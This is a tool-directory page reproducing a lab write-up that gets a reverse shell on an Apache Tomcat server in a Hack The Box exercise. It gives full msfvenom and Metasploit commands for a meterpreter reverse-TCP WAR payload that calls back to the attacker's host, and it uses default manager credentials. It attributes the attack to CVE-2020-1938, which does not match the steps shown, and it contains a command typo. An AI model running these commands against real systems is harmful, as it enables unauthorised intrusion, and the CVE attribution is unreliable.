Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2020-1938-Exploitation — Step-by-step walkthrough for exploiting CVE-2020-1938 (Apache Tomcat arbitrary JSP upload to RCE) using msfvenom and Metasploit in a Hack The Box lab environment. | Kitploit
Tools/GitHubGitHub/hopsypopsy8/cve-2020-1938-exploitation
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationLabs & Practice
GitHubhopsypopsy8/cve-2020-1938-exploitation

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →

CVE-2020-1938-Exploitation

Step-by-step walkthrough for exploiting CVE-2020-1938 (Apache Tomcat arbitrary JSP upload to RCE) using msfvenom and Metasploit in a Hack The Box lab environment.

View Repository
31 year agoNot yet reviewed
Share

CVE-2020-1938 Exploitation

Apache Tomcat arbitrary JSP upload leading to RCE

Description

CVE-2020-1938 is a critical vulnerability which impacts Apache Tomcat from 9.0.0.M1 to 9.0.0.30, 8.5.0 to 8.5.50 and 7.0.0 to 7.0.99 ⚠️ This was exploited in a Hack The Box lab.

🔗 Reference: NIST NVD Entry

Reconnaissance

Identifying an Attack Vector

image
  1. The website has default credentials for Server Status feature.

  2. This interface indicates that the version is Apache Tomcat/7.0.88, 64 bit architecture.

  3. From this interface we traverse to list applications which exposes a .war file Upload feature.

  4. On successful upload the .war file is executed at /directory/filename

  • Research into the Apache Tomcat version confirmed vulnerability to CVE-2020-1938

  • Exploitation

  • Generating .war File

    root@kitploit:~
    msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=10.10.14.3 LPORT=3004 -f war -o exploit.war
    

    Using msfvenom which is a metasploit payload generator we generate our exploit.war payload.

    1. -p windows/x64/meterpreter_reverse_tcp is the type of payload (in our case 64 bit as identified in Server Status)
    2. LHOST=10.10.14.3 LPORT=3004 are the reverse connection details for the attackers machine
    3. -f war is the file type
    4. -o exploit.war output filename

    After file generation, go into the file and find the name of the .jsp file e.g. gcvxdtmxvw.jsp and save it for later.

    Setting up metasploit

    root@kitploit:~
    msfconsole
    use exploit/multi/hanlder
    Set LHOST 10.10.14.3
    Set LPORT 3004
    

    Using msfconsole we setup a listener which waits for our payload to be executed.

    Uploading and Running malicious file

    image
    image

    We upload our image in the deploy section, after which refresh the screen and find that the file has successfully been uploaded. To finish the exploit we must navigate to the path ip/hacked/gcvxdtmxvw.jsp.

    image

    This hangs the request however we are able to see locally on our machine that we have a reverse connection.

    Download Tool